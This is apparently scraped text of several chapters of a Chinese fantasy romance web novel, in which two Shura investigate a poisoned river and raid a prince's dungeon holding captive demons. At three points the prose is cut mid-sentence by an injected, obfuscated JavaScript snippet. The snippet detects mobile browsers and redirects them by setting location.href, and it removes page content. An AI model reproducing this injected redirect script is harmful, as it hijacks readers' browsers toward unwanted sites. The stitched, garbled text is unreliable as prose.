“遵命。”沛然上前将柏雨扶了起来,“你是怎么离开无幻之境的?又是如何被捉住的?以你的修为不应该。” 季易上前随手提了个小妖看了看,探上前闻了闻气味,“这些小妖似乎都没有内丹了,回大荒估计也活不了多久,不如让我直接吃了吧。” 被季易拎在手中的小妖顿时吓得六神无主,颤颤巍巍地说:“别,别吃我,修罗大人,我不好吃的。” 睢羲说:“将小妖带给妖尊,让他自己想办法吧。” 柏雨思索了片刻,随后才对沛然说:“我是意外走到了结界地,看到结界裂了一条缝隙,随后便出来了,之后我就在人间乱逛着,在天都城外喝了一碗甜汤,再醒来时便到这里了。” 季易震惊地说:“你可是修罗哎,怎么会这么弱?随随便便一碗人类的甜汤便将你放倒了?!” 柏雨脸上露出一丝苦恼,“其实我也不清楚。” 姜芜抬手散去了漫天的雨云,月光很快便随着乌云的散开重新撒了下来,轻轻柔柔的,抚平天都城的伤疤。 睢羲牵住姜芜的手,准备离开。 柏雨见状立刻跑了出来,她伏地跪拜,“大人,救命之恩无以为报,请允许我照顾大人的饮食起居。” 沛然面上一惊,立刻对睢羲说:“大人息怒,我马上带她回无幻之境。” 季易冷笑了一声,“小东西,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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姜芜蹙眉,“你研究这些做何事?文绉绉的,跟那些小妖怪一样,非要分得那么清楚吗?爱又如何?恨又如何?” 睢羲神情认真地看着姜芜,“对于我来说很重要,你亲近人类,你一定明白我在说何事。” 姜芜咬着舌尖压下翻涌的心绪,“恨多一些,如果不是因为你,我便不会挖七仙的心,戚诃的道侣便不会死,他也不会利用霰雪蝶来制造圣女,雾沅一族便不会覆灭,也便不会造成如今的局面。所以,我恨你,也恨你杀了段怀野。” 姜芜说完之后便起身离开了汤池。 睢羲轻笑了一声,“爱也好恨也罢,这些都无所谓,只证明你心里还有我。” 姜芜深深地吸了一口气,她回头看了睢羲一眼,换下了身上湿透的里衣,披着睢羲的外袍回了房间。 睢羲推开房门,见房间内烛火全熄,只剩月华静静流淌。 修罗不需要烛光照明,也能在黑夜之中行动自如。 睢羲合上房门,缓步往床榻边走去。 姜芜见睢羲靠近,起身往内侧靠了靠,“那么多房间非要跟我挤一个吗?” 睢羲闻言轻笑了一声,在床边坐下,伸手抚开了姜芜脸上的乱发,“想你。” 姜芜撇了撇嘴,“那便快躺好,我困了。” 睢羲躺在了床榻上,他抖开薄被盖好,侧身面对着姜芜,伸手握住了她滚烫的手指。 姜芜合着双眸,挪动着靠入了睢羲的怀中,闻着熟悉的气息,她出手抱住睢羲,意识朦胧地吻了几下,如同往常一样。 睢羲习惯性地拍着姜芜的后背,哄她入睡。 夜间的时间绵长又寂静,呼吸了几个来回,越发地增长睡意。 睢羲见姜芜熟睡,一道黑色的戾气裹着血契悄无生气地从纳袋中飞了出来,他抬了抬手指,一目十行地看完了展开血契的内容,随后又不动声色地放回了纳袋中。 姜芜在睡梦中并不安稳,像是被梦魇缠住,鲜血不受控制地从她嘴角溢出。 睢羲抬手擦去姜芜唇角的鲜血,然后往她的眉心中注入一道戾气,帮她安稳心神与梦境。 “好好睡吧,濯濯。” 29. 偏见 睢羲睡着了。 修罗本不需要睡眠,甚至不需要进食,这皇天后土之间的戾气足够他们长存,不眠不休。 睢羲醒来时床榻上只剩下他一人,他迅速起身,四下查看了一番发觉并没有姜芜的身影,一阵一阵的心悸和麻木将他淹没,他甚至都不清楚姜芜是何时离开的。 昨夜不知何时下起了大雪,今早小院一片雪白,烈日晴空,屋檐下像是挂满了水做成的珠子。 姜芜坐在亭廊观景台的秋千架上,神情认真地穿着珠串,不远处的凉亭内煮着热茶。 睢羲随意地套了件衣服便走了出来,当他看到姜芜的身影时,心悸和麻木如同潮水一般退去,不安和后怕的心境也跟着消失。 他安定了下来。 睢羲走到了姜芜身后,伸手帮她推着秋千,“醒的很早,昨晚睡得好吗?” 姜芜抬头看了睢羲一眼,继续专心致志地穿着珠串。 “好。” 睢羲看着姜芜纤细的手灵活地给珠串打结,又穿进几颗晶莹剔透的珠子,“穿这个做何用途?” 姜芜把睢羲拉到身前,将穿好的珠串系在了他的左手上,见他衣衫有些凌乱,便起身帮他重新整理好,“起得这么匆忙,以为我会走?” 睢羲垂眸看着姜芜,伸手抚摸着她的墨发,声音里带着显而易见的祈求,“你会走吗?” 姜芜勾了勾唇角,牵着睢羲的手,引着他来到了凉亭中,将煮好的茶水倒入了茶碗中,“栗子糕要吃吗?我今日一早起床蒸的。” 睢羲见姜芜不答,随手捏了一块栗子糕,食不知味地嚼着。 姜芜将茶碗放到了睢羲面前,“今日该去城东看看了吧,如果再没有眉目的话,我觉得除妖司的那位法师倒是个明事理的人,可以去找他合作。” 睢羲面无表情地应了一声,“解决这件事情之后呢,你有何打算?” 姜芜像是没有听到睢羲的这句话一般,喝着茶吃着碟中的栗子糕。 柏雨端着托盘走了出来,将其中的甜汤分别放在二人面前,“两位大人请慢用。” 姜芜开口道:“我说过,你不用做这些的,住在这里便可,这里房间很多,我们也不会经常回来。” 柏雨抿了抿双唇,垂低了眉眼,“在大人的心里可能觉得这并无什么,救我不过是顺手的事情,但是在我的心里,是两位大人给了我第二次生命,这救命之恩无以为报的,还请两位大人不要嫌弃。” 姜芜这才抬眸看了柏雨一眼,她昨日洗去了一身的血污,穿了一套白色的麻布衣裙,连长发都是用呢花布辫成了垂在身前的长辫,不施粉黛的脸上难掩清秀,是个非常漂亮的女修罗。 姜芜将一碗甜汤端到了柏雨面前,“你还未吃早饭吧,先吃些甜汤填填肚子,一会想吃什么可以自己去街上买。”说完,她便伸手去解自己腰间的荷包,却发觉自己所有的前已经在昨晚留在了丛流阁忘记取回来,现下是身无分文的状态。 姜芜顺手拂了一把衣裳,然后抬眸去睢羲。 睢羲从袖袋中取出荷包放在了桌面上,“里面的钱财可自由使用。” 柏雨有些为难地看着二人,“两位大人,这样不好,我不能再向你们索取了。” 姜芜说:“在人间所有的事情都离不开金银,你既然决定留下来,没有金银的话,以后衣食住行该怎么办呢?” 睢羲给姜芜添了热茶,提醒道:“她是修罗,无需吃穿。” 姜芜方才反应过来,随即轻笑一声,“我险些忘记了,但是置办两身衣裳应该是可以吧,不能再像在无幻之境中随便拿布一裹吧。” 柏雨嚅嗫解释道:“衣服也是可以变的。” 姜芜脸上笑意更深,“拿着吧,想吃什么都可以去买,虽然不需要填饱肚子,但是尝尝滋味也是可以的。胭脂水粉、头冠发簪也是可以的。” 柏雨点了点头,她伸手拿过荷包,“谢谢两位大人。” 姜芜起身,随手化了根白玉发簪,将自己的墨发挽了起来。 “去哪?” 睢羲见姜芜起身立刻跟着追了上去。 姜芜有些诧异地去看睢羲,“你吃好了吗?我打算换身衣服去东城,梳洗打扮可能要花费一些时间。” 睢羲说:“我吃好了。” 姜芜撇了撇嘴,“好吧,我还能跑了不成?” 两人隐藏了气息前往东城,在南城与东城的交界处看见了堪称人间炼狱般的惨状,空中的白色纸钱如同大雪一般纷纷扬扬。 东城的两个城门都由除妖师的法师把守。 姜芜同睢羲对视了一眼,随后化成一阵劲风掠入其中。 “我们先去查看东城地界的玉浆河。”姜芜说,“这玉浆河发源于长衡山,蜿蜒数千里入海,却只有天都东城这处出了问题,而且其中的毒液却没有随着水流前往下游段,必定有蹊跷。” 睢羲问道:“你觉得东城段玉浆河中会有什么?” 姜芜拢着双眉摇了摇头,不满地说:“如果你知晓其中缘由的话,能不能直接告诉我?猜来猜去可真没意思。” 睢羲勾唇,他伸出食指蹭了蹭姜芜的脸颊,“我觉得挺有趣。” “无聊。” 姜芜甩袖离开,步履匆匆地来到一座架在玉浆河的石桥之上,她看着平静的水面,抬手用戾气缴了一簇水流起来。 水流被戾气包裹着,浮空形成一小朵水球。 “奇怪,这水质为何如此复杂?”姜芜看着水球中隐隐浮现的金色,“这是何物?倒像是神力,此处为何有神力?” 睢羲挥手打散姜芜手中的水球,“你看错了。” 姜芜见状缓缓地收拢了自己的手指,她转身看向面前的睢羲,“你有事瞒着我?” 睢羲矢口否认,“没有。” “你不想让我查下去。” “不是。” 睢羲转身往桥下走去。 姜芜站在原地,她咬了咬下唇,扬声威胁道:“你不说我可走喽,我回扬州去了。” 睢羲转身看着站在桥上的姜芜,神情有些无奈,片刻后他走上桥,伸手去握姜芜的手。 姜芜不着痕迹地错开,扭头往桥的另一侧走去。 “濯濯。”睢羲快步上前,伸手握住姜芜的手,“我同你讲。” 姜芜说:“为难便算了。” “不为难。”睢羲无声地叹了口气,“是天书。” 姜芜蹙眉,“什么天书?” 睢羲说:“伴随段怀野降生的天书,若没有天书他怎可能修行精进如此之快,即便是你给了他戾气,他也不可能在百年之内跃至渡劫期,甚至成为修真界的佼佼者。” “天书里面记载了什么?” 姜芜完全不知晓天书一事,即便她同段怀野关系非常交好,也从未听他提起过。 睢羲摇头,“我也不知晓,但是玉浆河的异状便是天书中记载内容之一,所以你才会在水里看到神力。” 姜芜思忖了片刻,缓缓开口道:“既然如此,你们前往扬州城万毒门也是寻找天书的下落?如此以来天书便有多卷的可能,但是万毒门的天书内容却同天都城天书的内容相仿,都是仿制修罗带有腐蚀性的血液。这样的话,都是残本?而万毒门对于修罗血液仿制内容的天书似乎更全面,又或者这两处本就是同本天书,只是存留时间以及他们到手先后的问题?” 睢羲站在桥下的柳树旁静静地听着姜芜说出她心中的猜测,不发一言。 姜芜无意识地捶了捶手心,“百衢想要天书,莫非其中有破开无幻之境结界的办法?怪不得当初段怀野一介凡人不仅能淬炼出太初和太阿两柄神兵利器,还能找到将无幻之境封印三百年之久的办法,原来是有天书在其中。” 睢羲听姜芜提起无幻之境结界一事,想起她之前的所作所为,心中难免踌躇。 姜芜心中燃起了一丝希望,如果有天书的存在,她便可以找到达成她目的的方法。 睢羲出声唤回姜芜的神绪,“濯濯。” “嗯?” 睢羲犹豫了一瞬,随后才缓缓地开口问道:“你为何如此痛恨修罗,以至于要帮助人族封印无幻之境?仅仅是为了段怀野吗?倘若你只是恨我,大可将我杀死一解心头之恨,没必要牵连所有的修罗族,但你为何又要救我,你要封印无幻之境的目的到底是什么?” 姜芜的神情僵硬了一瞬,随即变得冷漠,她静静地看着睢羲,觉得心底像是漏了个窟窿,寒冬腊月的风开始往里灌,即便她的身体滚烫,手脚也开始冒出丝丝冷汗。 “不舒服吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118311|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”睢羲迫使自己站在原地,有些无措地看着姜芜,“我要如何做?” 姜芜摇了摇头,转身背对着睢羲。 睢羲从未想过某一天姜芜会因为自己的存在而痛苦。 睢羲垂下双眸,想起昨夜看到的血契内容,不允许见面、不能互通心意甚至不能杀死那个疑似具有段怀野残识的修士,任何人只要对他们造成伤害便会反噬到姜芜身上。 不怪姜芜不爱惜自己的身体,只是这血契太磋磨人,一个金丹期的低阶修士深入大荒腹地,卷入人间纷争,一来一去难免受伤。 而这些伤痕却是姜芜自愿。 睢羲捻了捻手指,心中泛起一股酸意,他手握乾坤之力,却无法让姜芜回心转意。 姜芜当初同五行道宗签订血契的目的让修真界心安是其一,更重要的是拿自己的身体和千百万年相知相伴赌睢羲心软,她没有对抗睢羲的能力,只能拿血契固步自封,逼迫他后退。 只是姜芜不知这份血契的威慑力会持续多久。 姜芜转头看着睢羲,“我好多了,对于天书你有眉目了吗?应该如何解决玉浆河水的问题?毕竟平凡人无辜。” 睢羲面无表情地说:“先去除妖师会会那几位法师吧,玉浆河晚上再来探查,白日太过于引人注目。”说完,他便想去牵姜芜的手,触碰到她温度的那一刻又缩了回来。 “走吧。” 【除妖司】 姜芜与睢羲并肩行至除妖司门前,刚拐入除妖司所在的长街,周围的热闹非凡顿时冷却了下来,门可罗雀的除妖司大门前矗立着两只踏火麒麟,两名法师手中握着除妖法器站在门前。 一个货郎挑着他的扁担匆匆而过。 “除妖司重地,闲杂人等速速回避,不得逗留!” 姜芜看了睢羲一眼,随即上前一步,黑红色的戾气顺着她的衣裳翻涌而下,“前去禀报给你们的大法师,就说昨晚丛流阁的人来找他们了。” 两个法师互看一眼,其中一个匆匆跑了进去。 “直接进。” 睢羲说完便提步往除妖司内走去,黑色的戾气铺陈而下,从他的脚下绽开。 留守在原地的法师顿时两眼一翻晕了过去。 姜芜摇了摇头,有些无奈地叹了一息,随即快步跟了上去。 “昨夜没有追究你们,今日倒是自己送上门来了。” 华清折扇一开,扇骨中弹出锋利的刀刃,直逼睢羲而去。 姜芜开口道:“我们今日只是想来了解一些事情,并不想和你们起冲突。” 睢羲屈指一弹,将华清手中的折扇弹飞,随即运掌击于他的胸口,“不自量力。” 华清口吐鲜血,身体瞬间飞了出去。 姜芜见状,脸上闪过一丝讶然,忍不住责备道:“太过了,你这样他们会认为我们是来打架的。” 睢羲双眸一眨,回头看向姜芜,“没用力,是他太弱了。” 巫承莲披着外袍,步履匆匆地从内堂走了过来,他看了一眼身负重伤的华清,有些戒备地看着面前的一男一女。 昨夜雨太大,巫承莲自觉没有看清楚两人的容貌,今日一见两人都是二十岁出头的年纪,面容绝顶,气度不凡。女子面容带笑,双眸却是冷的,男人虽不苟言笑,难以相与,但是眼神是淡然的,并未对他们展现出过多的感情。 但是,巫承莲知晓面前的二人都是绝顶的大修罗。 姜芜从袖袋中取出瓷瓶递了出去,“冒犯了,这是强身健体的灵药,就当作是赔不是了。” 华清在法师的搀扶下起身,他面容狠厉地看着姜芜,“你们修罗会有这么好心?” 姜芜勾唇,“只是现下,你若再多说几句便不是现下这般了。” “带七杀法师下去修养。”巫承莲上前接过姜芜手中的瓷瓶,转手交给了华清身边的法师,“冒犯了,我乃南斗天梁法师巫承莲,不知二位前来有何指教?若是为了昨夜之事,恐怕我们之间没什么好聊的。” 巫承莲话中送客的意味十分明确。 姜芜挑眉,随即轻笑了一声,“巫法师,您多虑了,我们今日前来不在追究,而在于合作。” “合作?”巫承莲神情戒备地看着姜芜,“我们之间有何好合作的?人族与修罗族合作吗?!” 30. 尸体 “是啊。”姜芜说,“我为东城投毒一事而来,你们为此事苦恼,为何不能合作?” 巫承莲眉心一拢,深深地吸了一口气,“修罗为何会对人间事感兴趣?难道你们不都是以屠杀弱小为乐趣吗?” 姜芜沉吟了一声,随即勾起了唇角,笑容有些残忍,“巫法师,我觉得你们人族有一句话特别的好,叫做先礼后兵,我们已经很有诚意了,希望你也能放下偏见,否则就不礼貌了,你觉得呢?” 巫承莲咬牙,“你欲如何?” 姜芜挑眉,“把你所知晓的妖丹用处告知我们。” 巫承莲蹙眉,“不是说想知晓东城投毒一事吗?为何又问起妖丹的事情?丛流阁的事情我们没得谈。当年妖族与修罗族在人间做下的恶事还需要我再重复给二位吗?” 姜芜并不意外巫承莲的回答,他回头看了睢羲一眼,“既然如此,那你更不可能告诉我丛流阁幕后是谁在把控了。” 巫承莲心中一震,“你是何意?” 姜芜歪头看向巫承莲,轻笑出声,“巫法师是聪明人,还需要我多解释吗?” 巫承莲暗暗攥拳,他想起那些受苦的东城百姓,又想起纸醉金迷中的汹涌波涛,心中一片颓圮。 “东城一事,来得蹊跷,我们曾经采取过水样,却发现玉浆河只有流经东城段才具有可疑之处,毒素不会随着水流四散,却会因为河水的蒸发而蔓延。”巫承莲说,“我们也曾派人进入到水底勘探,并无异常。后续症状由吐泻变为内脏腐化时再放人入水,收回来的只有挂着水草的碎肉骨架,毒素越来越厉害了。如此以来,不知何时到头。” 姜芜见状走至睢羲身侧,“巫法师也算为国为民,清廉正直,只是他昨日中了那毒,不知可有得解?” 睢羲蹙眉,他垂眸不解地看着姜芜,“总要搞清楚他所中何毒。” 巫承莲抬手制止姜芜,神情中闪过一丝苦痛,“不必救我,为国为君为民死得其所,女修罗,你方才所言句句属实?” “上述都是我的猜测,缺乏关键性的证据,倒也八九不离十。”姜芜端正了神色,“今日便是来向法师求证的,但我绝无戏弄法师之意,只不过法师并不配合,也不肯相信我们。” 巫承莲捏了捏眉心,“跟我来。”说完,他便转身向内间走去。 姜芜伸手攀附上睢羲的手臂,“他似乎相信我们了。” 睢羲淡淡地应了一声,同姜芜跟上了巫承莲的步伐。 巫承莲将二人带到了自己的小院,请二人在中厅落座。 巫承莲的住处十分的简单,一间屋子分了三堂,中厅做了会客的地方,左右分别为书房和寝居。 姜芜同睢羲坐好,她的目光落在了巫承莲缠着绷带的右手上,边缘已经有了渗血的现象,反常的黑色血液侵蚀着洁白的绷带,就像是在吞噬着巫承莲的生命一般。 姜芜偏头看着睢羲,伸手覆盖上他放置衣服上半握的掌背上。 睢羲翻转手腕,把姜芜的手纳于自己的掌心,并以眼神询问她。 姜芜看了一眼处于沉思中的巫承莲,示意睢羲去看他的右手。 巫承莲面带愁云,试探着开口,“如今圣上年事已高,昏聩糊涂,心思越发得令人难以捉摸。无论是昔日总角之交的皇后,亦或者最疼爱的皇子公主都无法近他的身,唯独雍王不同,他不知从何处寻来了长生不老之术,以妖兽、修罗长生举例,说长生之术必定藏于它们身上。圣人对此深信不疑,并每日服用雍王带进宫的长生不老药。” 睢羲握紧了姜芜的手。 姜芜蹙眉,追问道:“如此情况发生多久了?” 巫承莲回忆了一番时间,“二十年之久,但是圣人服用长生药不过是最近的事情,毕竟是为了龙体,马虎不得,需要有人试药,记录其身体状况,直至没有任何的异常才敢交于圣人服用。” 姜芜讶然,“敢问圣人高寿?” 巫承莲回道:“元日之后便是六十有四。” 姜芜勾起唇角,“这雍王也是一个能人,居然身怀如此通天之术。” 巫承莲点了点头,十分赞同姜芜的说法,“雍王是圣人的亲侄儿,二十岁时曾求仙问道前往长衡山五行道宗修行,返回天都城时便醉心研究长生术。二十年来样貌未变,圣人这才相信所谓的长生之术不是天方夜谭。二人在雍王府的地阁内,建立了庞大的牢笼,专门关押各路妖兽和修罗。圣人也时常到地阁内查看,才会如此的相信雍王。” “哦?”姜芜笑着问道,“看来巫法师并不认同雍王的长生术?” 巫承莲神情一怔,片刻后才说:“也不是不信,只是太过于天方夜谭。古往今来,帝王醉心于长生之术,无一不化为了神州大地中一剖黄土,修士倒可以延年益寿,不过比起日月星辰来说不过弹指一瞬,即便是修真界的前无古人后无来者的翘楚太初道尊,距离登天不过一步。” 姜芜双眸微微一眯,她如同一只嗜血野兽一般缓缓地打量着巫承莲,“既然巫法师知晓的如此清楚,为何谈话之初对于东城一事表现得如此惊诧?” 巫承莲长长地叹了一口气,垂头摇首,“百姓如水,当政者似舟,自古水能载舟亦能覆舟。圣人以爱民如子而声名远扬,我不是没有过猜测,只是不愿意相信,当初的圣人会为了一己私利而置百姓于水火之中。” 姜芜说:“巫法师也不要太过于思虑纠结,当政者似舟非舟,人非圣贤孰能无过,当政者既是天神降愿、万民之主,也是一介拥有七情六欲恐惧死亡的凡人,俗话说人不为己天诛地灭,在追求长生之途忘记本心也实属正常,毕竟只有他能长久的活着,才能继续爱民如子,勤政亲贤。” “爱民如子?”巫承莲冷笑一声,“不过是在特定的情况下,一旦涉及到切身利益,几十个百姓而已怎么比得上他的江山皇位?” 姜芜说:“取舍一番,都会选择对自己有利的,人之常情而已。在天下大义面前,像巫法师这样的人不多了。” 巫承莲伸手捏了捏抽痛的眉心,没有再搭一言。 姜芜的目光落到了巫承莲的右手上,她的手指一张,后者手上的绷带尽数碎裂,浓稠的黑血没有了阻挡,瞬间涌了出来,伤口处皮肉外翻,丝毫没有愈合的倾向。 巫承莲一惊,“你?” 姜芜若有所思地看着巫承莲的伤口,“应该不是很麻烦。” 姜芜的话音刚落,黑红色的戾气瞬间包裹住巫承莲的右手,她翻动手指,将其中的毒素拔了出来。 黑色的毒气吞噬掉姜芜原有戾气中的红色,与黑色彼此交融,难舍难分。 姜芜翻手将毒气收起,“巫法师,当一般伤口养护便可,时辰不早了,我们便不久留了。”说完,她便起身同睢羲往外走去。 二人走后不久,一道白色身影落于巫承莲的小院中。 巫承莲一愣,刚要起身施礼便被来者托住了手臂。 “这伤居然真的无碍了,看来此次现身的并非一般的小喽啰。” 巫承莲说:“我已经按照您的意思将事情悉数同他们讲了,想必不久他们便会潜入地阁寻找更多的信息,只是不知他们为何而来。” 一个白色的瓷瓶飞入了巫承莲的怀中。 “你做很好,此事你便无需再管了,好好养伤吧。” 巫承莲垂着双眸,欲言又止。 来人看出了巫承莲的心中所想,开口道:“你是想问东城的百姓吧,这件事情很快便会结束的,我保证。我已经在地阁布下了天罗地网,若是能抓到这两个大修罗,可比刚化形的小妖,亦或者低阶修罗可有用多了,到时候东城的毒也有得解了,圣人也能延年益寿。” 巫承莲说:“但愿如此,速速结束这场闹剧吧。” 姜芜同睢羲从除妖司出来时已经临近晌午,她抬手遮了遮耀眼的阳光。 “你说天书会在雍王手中吗?” 睢羲把姜芜拉至自己的身侧,为她遮挡着阳光,“有可能,天书如果出现在五行道宗并不奇怪,毕竟段怀野是五行道宗的开山祖师,或许他死之前将天书给予了梅若微也不无可能。” “这场请君入瓮的戏码已经搭好台了,你说我们要不要登台?”姜芜顿了顿,接着说:“算了,我还是自己去吧。太危险了,他们既然如此,必定做了万全的把握。” 睢羲握紧了姜芜的手,“不必担心我,现下这只是一具木偶之躯而已,若是真有特殊的变故,你不必管我,我自有脱身之法。” 姜芜有些无奈,她看着睢羲的眼睛,妥协道:“好吧,一起去吧,不过现下最主要的要找个地方填饱肚子。” 睢羲问道:“你想吃什么?” 姜芜摸了摸睢羲的手指,“木偶之躯会维持多久?下次不要再这般耗费自己的心血了。” 睢羲说:“只要不损坏,维持多久都可以,不妨事的。” 姜芜眨了眨双眸,将心底的神绪很好地掩盖起来,“那我们去吃天都最大的酒楼。” 【夜晚雍王府】 入夜之后天都城热闹不减,到处都是一片阖家欢乐的祥和之景,地上的烟花映得繁星都失色几分。 两人隐藏气息来到雍王府前,姜芜俯身把指尖贴于地面,黑红色的戾气俯冲而下,迅速向四周蔓延。 “找到了,在后院的位置,看来关押着不少的妖族。” 姜芜起身,托起从巫承莲那里拔出来的毒素,两股似火般黑色的气体开始相互碰撞,是不是擦出一簇刺目的火花,把她的脸应得忽明忽暗。 “我的看起来好弱,都被吞噬干净了,你的还在跟它硬碰硬。这种程度,无幻之境内莫非还有比你强的人?” 睢羲把姜芜手中两股气体引过来,将二者分离开,用自己的戾气做成囚笼控制住那份成分复杂的毒。 那股毒气似乎有些茫然,它左右冲撞着,却只能被死死地束缚在其中。 姜芜凑近去观察那团成一团的毒气,“好奇怪,像是有意识一般,感觉像是在害怕。” 睢羲说:“不需要很强大的修罗,一般的修罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一股潮湿陈腐的气息扑面而来。 偌大的石室之中,两侧是关押着妖兽的牢房,都是刚抓来不久,内丹尚未被剥离的小妖。 一只花豹从牢房中伸出爪子,嘶吼道:“放我们出去,你们这群虚伪的人族!” 姜芜抬手引燃了墙壁上的蜡烛,这才看清楚了整个石室的样貌。 牢房四周贴满了镇妖的符咒,甚至锁链上都是用朱砂混着真元画成的锁妖符咒,其中不下百只小妖。 睢羲的双眸一直紧盯着石室深处的一座绞架上,上面挂着一个人,从肢体动作来看,这个人已经死了很久了,久到睢羲已经忘记了她死时的模样,只记得她来跟自己道别,穿着漂亮的衣裙,笑靥如花,让他等等、再等等。 无幻之境内不分昼夜,没有四季,冗长的极昼和沉寂的永夜,时间停驻于此,只有风来也自由去也自由。 睢羲等了无数个日日夜夜,等到他化成了一颗不被风吹雨打所侵蚀的巨石,从无边无际的永夜等到随着破晓而来的极昼。 睢羲快步朝着石室深处走去。 姜芜用戾气焚烧了整个石室的符咒,掐诀将所有的牢门打开,她看着从牢中走出来的小妖,一个个神情戒备的模样,忍不住笑了起来,“你们也太不小心了,像你们这种小妖遇到人族记得多远一些,有一些人族并不像表面上那么和善。” 一只白兔子凑上前闻了闻姜芜的衣服,她神情疑惑地问道:“你不是人族吗?” 姜芜试探性地摸了摸兔妖的耳朵,刚准备开口,一股暴虐的戾气夹杂着睢羲的怒吼声从石室的深处传来。 姜芜一惊,她掐诀撑起结界,将所有的小妖都保护在其中。 小妖们从未见过如此强悍的戾气,神情惊惧着缩成了一团。 “别怕,你们先回牢房待一会,很快便能离开这里了。” 姜芜说完,提起衣裳快速地向石室深处跑去,当她看到绞架上残缺的身体之后,脸上的震惊转瞬即逝,随即而来的是疑惑。 疑惑的是这具尸体居然能保存得如此完整,抛开残缺的四肢,恍若只是睡着了一般,如生前一般鲜活,震惊的是这具尸体居然会落到了雍王的手中,虽然不知晓他是从何处所得。 姜芜轻手轻脚地上前,她在睢羲面前矮身,伸手抚了抚他颤抖的后背,轻声说:“睢羲,都过去了,别再看了。” 睢羲松开了紧抓着衣摆的双手,他抬起一双赤红的双眸,看清楚面前姜芜的模样,“濯濯,过来一些。” 姜芜上前将睢羲拢在了怀中,侧脸贴着他的额头,抚摸着他冰凉如水的长发,“都过去了。” 睢羲伸手抱紧了姜芜,哑声道:“濯濯,别再离开了。” “好一出惊天动地的重逢啊,修罗睢羲,不知你此时心下如何呢?新情人的身体柔软又温暖,旧情人的冰冷和僵硬自然是比不过。” 31. 心脏 周围的小妖见雍王走近,立刻扑上去用自己的兽牙和兽爪撕咬。 “你这个坏人!” “放我们出去!” 雍王觉得自己脚下一滞,垂眸不屑地看向四周围上来的小妖,大乘期修士的威压瞬间迸发而出,小妖们无法抵抗顿时被击飞,死伤无数。 姜芜刚要起身,却被睢羲死死地按在了原地,她只好出声制止道:“别冲动,他的目标是我们,你们不要白白送命。” 雍王解决掉一部分小妖,朝着姜芜和睢羲二人走过来,他好奇地打量姜芜,“你看起来非常的年轻。” 姜芜这才看清楚面前身穿华服男子的面容,他长发束起,白色长袍上用金线绣着四爪金龙,来者十分年轻,二十岁出头的模样,身上却有了难以忽视的气场。 姜芜震惊的是雍王年纪不过四十岁出头,居然能有大乘期修士的威压,即便是当初修行神速的段怀野也没有此等天赋,尤其是当她知晓段怀野是有天书辅助时,一日千里的修行速度简直就是荒诞。 姜芜勾唇轻笑,姣好的面容极具魅色,她怀中拢着睢羲,气定神闲地面朝雍王轻声问道:“你,是谁啊?” 雍王朗声道:“我乃当朝雍王朱英叡。” “哦?”姜芜故作震惊地看着朱英叡,随后无奈地一笑,“我觉得你不是。” 朱英叡也不恼,只是顺着姜芜的话说:“那女郎觉得我是谁?” 睢羲缓慢地起身,扶着姜芜也将其带起。 姜芜抬眸看了睢羲一眼,也顺着他的力道,她的右手背在身后将无心乱唤出,“至于你是谁,一试便知。” 姜芜的话音刚落,反手将无心乱甩了出去,长鞭击打在朱英叡的护体结界上,并未伤他丝毫,只是普通的一击,姜芜甚至没有灌注戾气在其上,换作修为低下亦或是平凡人,早就被抽断筋脉昏死过去,而朱英叡的护体结界丝毫未破,甚至没有出现肉眼可见的裂痕。 “即便如此,你也说自己是朱英叡吗?” 朱英叡刚要开口说话,面色却一紧,他目所能视之处,原本站在姜芜身后的睢羲如同鬼魅一般,身形一晃便消失在原地。 “呃。” 朱英叡觉得脖颈一紧,随即整个人不受控制地飞进了一旁的牢笼之中,他抬手摸了摸自己的脖颈,若不是有护体结界的存在,睢羲方才险些掐断他的脖颈。 睢羲朝着身形狼狈的朱英叡伸出了手,“拿来。” 朱英叡勾唇冷笑,“你要什么?” “天书。” 朱英叡脸上的笑意更深,“天书?也是你配得到的吗?” 随即,他便祭出一柄长骨剑,手腕一转,剑尖直指睢羲胸前的旧伤。 睢羲神情冷淡地抬眸看了朱英叡一眼,侧身躲避的瞬间手指轻弹,后者整个人便被击飞。 朱英叡收剑格挡,身体因为惯性向后滑行。 姜芜认出了朱英叡手中的那柄骨剑,当初她同段怀野前往苗疆西南大山腹地寻找鬼族人时,为得就是淬炼这柄斩魄剑,这柄剑是当时段怀野击杀了鬼族首领用他的脊椎骨来淬炼而成。 但是此剑怨气过重,不是一般人能驾驭得了。所以当时段怀野并未将此剑佩戴在身侧随时使用,而是封印在了长衡山上,他怕长时间使用,剑中的怨气会侵蚀使用者的神志,以至入魔。 段怀野问道:“骨头也能制作成法器?” “这不是很正常吗?不过得需要法力高深的修士或者妖兽才可以。”姜芜笑着唤出了无心乱,“无心乱的手柄便是用骨头炼制的。” 段怀野看着无心乱洁白无瑕的手柄,薄透磨损之处呈现出如玉一般的质地,“这是谁的骨头。” 姜芜笑而不语。 姜芜根据斩魄剑对朱英叡的身份有了一个大体的猜测,扬声道:“摄魂夺魄,借体重生,这便是五行道宗教出来的好弟子吗?” 朱英叡咬牙,神情顿时变得狠厉起来,他意图越过睢羲冲向姜芜,却被前者纠缠得难以脱身。 